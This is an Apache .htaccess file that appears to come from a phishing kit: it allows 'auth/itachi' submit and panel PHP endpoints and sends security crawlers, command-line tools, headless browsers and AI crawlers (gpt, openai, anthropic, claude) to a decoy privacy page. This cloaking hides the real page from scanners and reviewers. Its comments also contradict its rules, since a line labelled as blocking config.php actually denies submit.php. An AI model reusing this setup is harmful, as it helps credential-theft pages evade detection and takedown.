Options -Indexes
ServerSignature Off
AddDefaultCharset UTF-8

<IfModule mod_rewrite.c>
RewriteEngine On

# --------------------------------------------------
# BLOCK DOT FILES
# --------------------------------------------------
RewriteRule (^|/)\. - [F,L]

# --------------------------------------------------
# ALLOW STATIC FILES
# --------------------------------------------------
RewriteRule \.(css|js|json|jpg|jpeg|png|gif|svg|webp|ico|woff|woff2|ttf|eot|map)$ - [L,NC]

# --------------------------------------------------
# ALLOW CORE PHP ENDPOINTS
# --------------------------------------------------
RewriteRule ^auth/itachi/(submit|country)\.php$ - [L]
RewriteRule ^auth/itachi/panel/(check|index)\.php$ - [L]

# --------------------------------------------------
# BLOCK BAD BOTS
# --------------------------------------------------
RewriteCond %{REQUEST_URI} !^/privacy\.html$ [NC]
RewriteCond %{HTTP_USER_AGENT} (ahrefs|semrush|mj12bot|dotbot|blexbot|crawler|scraper|curl|wget|python|java|headless|selenium|puppeteer|playwright|gpt|openai|anthropic|claude) [NC]
RewriteRule .* /privacy.html [R=302,L]

# --------------------------------------------------
# SPA FALLBACK
# --------------------------------------------------
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* /index.html [L]

</IfModule>

# --------------------------------------------------
# BLOCK SENSITIVE FILE TYPES (INCL. CONFIG.PHP)
# --------------------------------------------------
<FilesMatch "\.(log|txt|bak|env|ini|sql|zip|tar|gz|7z|yml|yaml|conf)$">
    Require all denied
</FilesMatch>

# Block config.php specifically
<Files "submit.php">
    Require all denied
</Files>

# --------------------------------------------------
# SECURITY HEADERS
# --------------------------------------------------
<IfModule mod_headers.c>
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "DENY"
    Header always set X-Robots-Tag "noindex, nofollow"
</IfModule>

ErrorDocument 403 /index.html
ErrorDocument 404 /index.html
ErrorDocument 500 /index.html
